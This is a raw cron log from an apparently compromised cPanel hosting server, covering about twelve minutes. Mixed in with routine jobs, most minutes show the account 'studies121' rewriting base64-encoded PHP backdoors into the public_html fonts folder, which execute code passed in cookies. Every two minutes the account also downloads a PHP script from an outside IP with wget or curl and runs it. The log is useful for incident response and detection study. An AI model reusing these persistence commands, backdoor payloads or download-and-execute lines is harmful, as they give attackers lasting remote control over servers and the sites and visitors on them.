Sep 21 14:33:01 ip-184-168-122-23 CROND[24286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:33:01 ip-184-168-122-23 CROND[24287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:33:01 ip-184-168-122-23 CROND[24289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:33:01 ip-184-168-122-23 CROND[24291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:34:01 ip-184-168-122-23 CROND[24408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:34:01 ip-184-168-122-23 CROND[24410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:34:01 ip-184-168-122-23 CROND[24411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:34:01 ip-184-168-122-23 CROND[24413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:34:01 ip-184-168-122-23 CROND[24414]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:35:01 ip-184-168-122-23 CROND[24553]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 14:35:01 ip-184-168-122-23 CROND[24555]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 14:35:01 ip-184-168-122-23 CROND[24554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:35:01 ip-184-168-122-23 CROND[24559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:35:01 ip-184-168-122-23 CROND[24565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:35:01 ip-184-168-122-23 CROND[24564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:35:01 ip-184-168-122-23 CROND[24563]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:35:01 ip-184-168-122-23 CROND[24566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:36:01 ip-184-168-122-23 CROND[24845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:36:01 ip-184-168-122-23 CROND[24847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:36:01 ip-184-168-122-23 CROND[24849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:36:01 ip-184-168-122-23 CROND[24848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:36:01 ip-184-168-122-23 CROND[24850]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:37:02 ip-184-168-122-23 CROND[25011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:37:02 ip-184-168-122-23 CROND[25013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:37:02 ip-184-168-122-23 CROND[25015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:37:02 ip-184-168-122-23 CROND[25017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:38:01 ip-184-168-122-23 CROND[25191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:38:01 ip-184-168-122-23 CROND[25193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:38:01 ip-184-168-122-23 CROND[25196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:38:01 ip-184-168-122-23 CROND[25195]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:38:01 ip-184-168-122-23 CROND[25194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:39:01 ip-184-168-122-23 CROND[25332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:39:01 ip-184-168-122-23 CROND[25333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:39:01 ip-184-168-122-23 CROND[25334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:39:01 ip-184-168-122-23 CROND[25335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:39:01 ip-184-168-122-23 CROND[25337]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 14:40:01 ip-184-168-122-23 CROND[25480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:40:01 ip-184-168-122-23 CROND[25482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:40:01 ip-184-168-122-23 CROND[25486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:40:01 ip-184-168-122-23 CROND[25483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:40:01 ip-184-168-122-23 CROND[25484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:40:01 ip-184-168-122-23 CROND[25485]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 14:40:01 ip-184-168-122-23 CROND[25487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:40:01 ip-184-168-122-23 CROND[25488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:41:01 ip-184-168-122-23 CROND[25639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:41:02 ip-184-168-122-23 CROND[25641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:41:02 ip-184-168-122-23 CROND[25643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:41:02 ip-184-168-122-23 CROND[25645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:42:01 ip-184-168-122-23 CROND[25756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:42:01 ip-184-168-122-23 CROND[25757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:42:01 ip-184-168-122-23 CROND[25758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:42:01 ip-184-168-122-23 CROND[25759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:42:01 ip-184-168-122-23 CROND[25760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:43:01 ip-184-168-122-23 CROND[25913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:43:01 ip-184-168-122-23 CROND[25915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:43:01 ip-184-168-122-23 CROND[25919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:43:01 ip-184-168-122-23 CROND[25918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:44:01 ip-184-168-122-23 CROND[26044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:44:01 ip-184-168-122-23 CROND[26043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:44:01 ip-184-168-122-23 CROND[26048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:44:01 ip-184-168-122-23 CROND[26046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:44:01 ip-184-168-122-23 CROND[26047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:45:01 ip-184-168-122-23 CROND[26243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
